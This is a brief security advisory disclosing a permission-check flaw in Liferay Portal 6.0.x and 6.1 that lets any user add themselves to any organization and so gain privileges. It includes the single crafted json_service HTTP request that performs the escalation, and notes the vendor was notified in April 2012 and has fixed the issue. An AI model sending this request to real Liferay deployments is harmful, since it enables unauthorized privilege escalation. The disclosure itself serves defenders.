Liferay users can assign themselves to organizations, leading to possible privilege escalation

Liferay users can assign themselves to organizations, leading to
possible privilege escalation

Description:

Liferay Portal is an enterprise portal written in Java

Due to insufficient permission checking in the updateOrganizations
method of UserService any user
can assign hem or her self to any organization by issueing a single http request

http://vulnerabilehost/c/portal/json_service?serviceClassName=com.liferay.portal.service.UserServiceUtil&serviceMethodName=updateOrganizations&serviceParameters=%5B%27userId%27%2C+%27organizationIds%27%5D&userId=YOUR_USER_ID&organizationIds=TARGET_ORGANIZATION_ID

It is common to grant special privileges to members of an organization.

Systems affected:

Liferay 6.1 ce
Liferay 6.1 ee
liferay 6.0.x

Vendor status :

Liferay was notified april 22 2012 by filing a bug in their public
bugtracker under issue number
LPS-26887. The issue has since been flagged as private and has been resolved.